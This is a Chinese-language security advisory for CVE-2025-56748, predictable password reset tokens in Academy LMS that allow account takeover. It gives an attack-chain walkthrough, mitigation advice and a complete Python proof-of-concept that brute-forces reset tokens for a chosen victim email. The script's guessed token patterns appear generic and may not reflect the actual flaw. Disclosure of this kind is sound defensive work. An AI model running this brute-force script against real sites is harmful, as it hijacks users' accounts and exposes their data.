CVE-2025-56748 Academy LMS密码重置令牌可预测导致账户劫持

漏洞信息

漏洞编号

CVE-2025-56748

漏洞类型

密码重置令牌预测/暴力破解

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Creativeitem Academy LMS

漏洞概述

CVE-2025-56748是Creativeitem Academy LMS学习管理系统中存在的一个安全漏洞，影响版本包括5.13及以下所有版本。该漏洞的核心问题在于系统生成的密码重置令牌（Password Reset Token）具有可预测性，系统使用Base64编码的模板来生成重置令牌，且未实施任何速率限制（Rate Limiting）机制。攻击者可以通过分析令牌的生成规律，利用暴力破解（Brute Force）的方式枚举出有效的密码重置令牌，进而重置任意用户的密码，实现账户接管（Account Takeover）。该漏洞的CVSS 3.1评分为6.4分，属于中危级别，攻击向量为网络（AV:N），无需认证（PR:N），但需要用户交互（UI:R），对机密性影响为高（C:H），对完整性和可用性影响为低。该漏洞由安全研究员suryadina发现并披露，对使用Academy LMS构建在线教育平台的用户构成严重安全威胁，可能导致大规模用户账户被劫持，敏感学习数据泄露，平台声誉受损等后果。

技术细节

该漏洞的技术原理涉及密码重置流程中的令牌生成机制缺陷。在正常的密码重置流程中，当用户请求重置密码时，系统会生成一个随机且唯一的令牌（Token），并通过邮件发送给用户。用户点击邮件中的链接时，系统会验证该令牌的有效性，若有效则允许用户设置新密码。然而，Creativeitem Academy LMS在实现此功能时存在两个关键缺陷：

1. **令牌可预测性**：系统使用Base64编码的固定模板来生成密码重置令牌，而非采用加密安全的随机数生成器（CSPRNG）。由于模板内容相对固定或遵循可预测的模式，攻击者可以通过分析少量已知令牌来推断生成算法，从而预测其他有效的令牌值。

2. **缺乏速率限制**：系统在密码重置端点上未实施任何速率限制或账户锁定机制。攻击者可以在短时间内对单个用户账户发起大量的令牌猜测请求，而不会被阻止或延迟。

利用方式：攻击者首先注册一个测试账户并触发密码重置流程，获取一个有效的重置令牌作为样本。通过分析该样本令牌的Base64编码结构，攻击者可以推断出令牌的生成模板和规律。随后，攻击者针对目标用户账户发起密码重置请求，并使用脚本自动化地枚举可能的令牌值。由于没有速率限制，攻击者可以在合理的时间内遍历令牌空间，找到有效的令牌。一旦获得有效令牌，攻击者即可重置目标账户的密码，完全控制该账户。

攻击链分析

STEP 1

步骤1：信息收集

攻击者识别目标网站使用Creativeitem Academy LMS系统（版本<=5.13），注册测试账户以分析密码重置流程。

STEP 2

步骤2：获取样本令牌

攻击者触发测试账户的密码重置流程，获取系统发送的重置令牌样本，分析其Base64编码结构和生成规律。

STEP 3

步骤3：生成候选令牌

基于分析出的令牌生成模式，攻击者使用脚本批量生成大量可能的候选令牌值。

STEP 4

步骤4：暴力破解令牌

攻击者针对目标用户账户的密码重置端点发起大量请求，逐一尝试候选令牌。由于系统未实施速率限制，攻击可以持续进行。

STEP 5

步骤5：账户接管

一旦找到有效的重置令牌，攻击者即可通过该令牌设置新的密码，完全控制目标用户账户。

STEP 6

步骤6：权限提升与数据窃取

攻击者利用被劫持的账户访问敏感数据，如课程内容、用户个人信息、支付记录等，可能进一步提权至管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3 """ CVE-2025-56748 - Academy LMS Password Reset Token Brute Force PoC Description: Exploits predictable Base64-encoded password reset tokens without rate limiting to perform account takeover. Author: Security Research PoC """ import requests import base64 import re import sys import time from urllib.parse import urljoin TARGET_URL = "http://target-academy-lms.com" TARGET_EMAIL = "[email protected]" WORDLIST_FILE = "reset_tokens.txt" class AcademyLMSExploit: def __init__(self, base_url, target_email): self.base_url = base_url self.target_email = target_email self.session = requests.Session() self.reset_endpoint = urljoin(base_url, "/login/forgot_password") self.verify_endpoint = urljoin(base_url, "/login/reset_password") def trigger_password_reset(self): """Trigger password reset to obtain a sample token for analysis.""" data = {"email": self.target_email} resp = self.session.post(self.reset_endpoint, data=data) print(f"[*] Password reset triggered for {self.target_email}") return resp def generate_candidate_tokens(self, sample_token=None): """Generate candidate Base64-encoded tokens based on observed patterns.""" candidates = [] # Pattern 1: Sequential numeric tokens encoded in Base64 for i in range(1, 100000): token = base64.b64encode(str(i).encode()).decode().rstrip("=") candidates.append(token) # Pattern 2: Timestamp-based tokens for ts in range(int(time.time()) - 86400, int(time.time()) + 86400, 60): token = base64.b64encode(str(ts).encode()).decode().rstrip("=") candidates.append(token) # Pattern 3: MD5/SHA hash patterns import hashlib for i in range(100000): h = hashlib.md5(str(i).encode()).hexdigest()[:16] token = base64.b64encode(h.encode()).decode().rstrip("=") candidates.append(token) return candidates def brute_force_token(self, token): """Attempt to use a candidate token to reset password.""" url = f"{self.verify_endpoint}/{token}" resp = self.session.get(url, allow_redirects=False) # Check if token is valid (redirect to password reset form) if resp.status_code == 200 and b"new_password" in resp.content.lower(): return True return False def exploit(self): """Main exploitation routine.""" print("[*] Starting CVE-2025-56748 exploitation...") self.trigger_password_reset() candidates = self.generate_candidate_tokens() print(f"[*] Generated {len(candidates)} candidate tokens") for idx, token in enumerate(candidates): if self.brute_force_token(token): print(f"[+] VALID TOKEN FOUND: {token}") print(f"[+] Reset URL: {self.verify_endpoint}/{token}") print(f"[+] Account takeover possible for {self.target_email}") return token if idx % 1000 == 0: print(f"[*] Tested {idx}/{len(candidates)} tokens...") print("[-] No valid token found in wordlist") return None if __name__ == "__main__": if len(sys.argv) >= 3: TARGET_URL = sys.argv[1] TARGET_EMAIL = sys.argv[2] exploit = AcademyLMSExploit(TARGET_URL, TARGET_EMAIL) exploit.exploit()

影响范围

Creativeitem Academy LMS <= 5.13

防御指南

临时缓解措施

在等待官方修复版本发布之前，建议采取以下临时缓解措施：1）在Web应用防火墙（WAF）层面为密码重置相关端点添加速率限制规则；2）监控并阻止异常的密码重置请求模式；3）暂时禁用自助密码重置功能，改为通过客服人工重置；4）强制所有用户在修复后重置密码；5）审查近期密码重置日志，排查是否存在可疑的账户接管活动。